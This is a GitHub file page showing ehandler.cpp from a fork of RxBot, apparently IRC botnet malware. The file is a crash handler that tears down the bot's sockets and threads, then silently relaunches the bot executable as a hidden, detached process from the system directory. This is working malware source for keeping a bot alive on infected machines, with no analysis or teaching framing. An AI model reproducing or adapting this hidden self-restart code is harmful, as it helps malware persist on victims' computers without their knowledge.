forked from niken0793/RxBot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathehandler.cpp
60 lines (49 loc) · 1.55 KB
/
ehandler.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_EHANDLER
// globals
DWORD scratch;
EXCEPTION_DISPOSITION cdecl _except_handler(struct _EXCEPTION_RECORD *ExceptionRecord,
void *EstablisherFrame,struct _CONTEXT *ContextRecord,void *DispatcherContext)
{
// do some clean-up
fclosesocket(threads[0].sock);
killthreadall();
fWSACleanup();
fWSACleanup();
Sleep(100);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
#ifdef DEBUG_CONSOLE
sinfo.wShowWindow = SW_SHOW;
#else
sinfo.wShowWindow = SW_HIDE;
#endif
char botfile[MAX_PATH],sysdir[MAX_PATH];
GetSystemDirectory(sysdir, sizeof(sysdir));
GetModuleFileName(NULL, botfile, sizeof(botfile));
if (CreateProcess(NULL, botfile, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, sysdir, &sinfo, &pinfo)) {
Sleep(100);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
// Change EAX in the context record so that it points to someplace
// where we can successfully write
ContextRecord->Eax = (DWORD)&scratch;
_asm
{ // Remove our EXECEPTION_REGISTRATION record
mov eax,[ESP] // Get pointer to previous record
mov FS:[0], EAX // Install previous record
add esp, 8 // Clean our EXECEPTION_REGISTRATION off stack
}
ExitProcess(0);
// Tell the OS to restart the faulting instruction
return ExceptionContinueExecution;
}
#endif